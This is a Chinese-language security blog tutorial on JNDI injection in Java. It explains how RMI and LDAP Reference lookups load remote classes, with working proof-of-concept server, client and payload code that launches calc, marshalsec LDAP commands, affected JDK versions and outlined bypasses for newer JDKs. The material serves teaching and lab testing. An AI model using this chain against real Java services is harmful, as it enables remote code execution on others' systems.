JNDI注入

概念

JNDI

Java命名和目录接口(JNDI)是一种Java API,类似于一个索引中心,它允许客户端通过name发现和查找数据和对象。JNDI本质上是一个接口,在这个接口下可以实现多种目录系统服务,如RMI、LDAP等,可以通过名称查询相关对象

RMI

RMI(Remote Method Invocation) 即Java远程方法调用,一种用于实现远程过程调用的应用程序编程接口,常见的两种接口实现为JRMP(Java Remote Message Protocol,Java远程消息交换协议)以及CORBA。

相当于跨越jvm,调用一个远程方法。RMI是一种行为,即Java远程方法调用

JRMP

Java远程方法协议(英语:Java Remote Method Protocol,JRMP)是特定于Java技术的、用于查找和引用远程对象的协议。这是运行在Java远程方法调用(RMI)之下、TCP/IP之上的线路层协议(英语:Wire protocol)。

本质上是一个协议,用于Java RMI过程,功能上相当于web访问中的http协议,只有通过使用该协议才能实现RMI远程方法调用

LDAP

LDAP(Lightweight Directory Access Protocol)-轻量目录访问协议。本质上相当于一个数据库,

JNDI注入原理

JNDI支持多种服务类型,当服务类型为RMI协议时,如果从RMI注册服务中lookup的对象类型为Reference类型或其子类时会导致远程代码执行。

因为Reference类提供了两个重要属性:

1
2
3
4
5
1.className
远程调用引用的类名

2.codebase url
决定在进行rmi远程调用时对象的位置,codebase url支持http协议,当通过lookup寻找的远程调用类在RMI服务器的CLASSPATH不存在时就会从指定的codebase url进行类的加载,如果两者都没有,远程调用失败

JNDI RCE漏洞产生原因

1
在lookup的时候,会从RMI注册中心下载数据,由于服务名称和对象或命名引用相关联,只要在Registrations注册中心注册一个命名引用,即Reference,它具有三个参数,className、factory、classFactoryLocation。ookup它并下载到本地后,会使用Reference的classFactoryLocation指定的地址去下载className指定class文件,接着加载并实例化,这样就会远程调用类的构造方法,如果把恶意代码放在远程调用类的构造方法中,就可以触发RCE。

JNDI+RMI

适用版本:小于JDK 6u132, JDK 7u122, JDK 8u113(原因是Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。)

测试jdk版本 8u101

CIENT.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package jndi;

import javax.naming.Context;
import javax.naming.InitialContext;

public class Client {

public static void main(String[] args) throws Exception {
String uri = "rmi://127.0.0.1:1099/aa";
Context ctx = new InitialContext();
ctx.lookup(uri);

}

}

SERVER.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;

public class SERVER {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("ExecTest", "ExecTest", "http://127.0.0.1:8081/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'");
registry.bind("aa", refObjWrapper);
}


}

ExecTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import javax.print.attribute.standard.PrinterMessageFromOperator;

public class ExecTest {
public ExecTest() throws IOException,InterruptedException{

String cmd="calc";
final Process process = Runtime.getRuntime().exec(cmd);
printMessage(process.getInputStream());;
printMessage(process.getErrorStream());
int value=process.waitFor();
System.out.println(value);
}

private static void printMessage(final InputStream input) {
// TODO Auto-generated method stub
new Thread (new Runnable() {
@Override
public void run() {
// TODO Auto-generated method stub
Reader reader =new InputStreamReader(input);
BufferedReader bf = new BufferedReader(reader);
String line = null;
try {
while ((line=bf.readLine())!=null)
{
System.out.println(line);
}
}catch (IOException e){
e.printStackTrace();
}
}
}).start();
}

public static void main(String[] args) {

}

}

把编译好的ExecTest.class文件放到web目录下

启用web服务

1
py -3 -m http.server 8081

在IDEA里执行SERVER和CLIENT,成功弹出计算器

JNDI+LDAP

除了RMI服务外,JNDI还可以对接LDAP服务,只需要把lookup的地址改成ldap://即可,同样可以从攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。

适用版本

小于JDK 11.0.1、8u191、7u201、6u211(之后com.sun.jndi.ldap.object.trustURLCodebase属性值被调整为false)

这里使用工具来搭建ldap服务端 https://github.com/mbechler/marshalsec

安装过程

https://www.cnblogs.com/cute-puli/p/14373826.html

https://blog.csdn.net/qq_43968080/article/details/105586109

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8081/#ExecTest

跟之前一样开启http服务并把恶意类class文件复制到目录下

CLIENT.java

1
2
3
4
5
6
7
8
9
10
11
12
package jndi;

import javax.naming.InitialContext;

public class Client {

public static void main(String[] args) throws Exception {
Object object=new InitialContext().lookup("ldap://192.168.111.129:1389/ExecTest");

}

}

执行成功

绕过高版本限制

版本大于JDK 11.0.1、8u191、7u201、6u211时,之前这些利用方式都已经失效。但是仍然可以绕过

两种绕过方法:

1
2
3
1.找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。

2.利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。

主要依靠受害者本地CLASSPATH中的类,需要利用受害者本地的Gadget进行攻击。

参考:

https://www.smi1e.top/java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%AD%A6%E4%B9%A0%E4%B9%8Bjndi%E6%B3%A8%E5%85%A5/

https://xz.aliyun.com/t/6633

https://www.anquanke.com/post/id/221917#h3-2


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!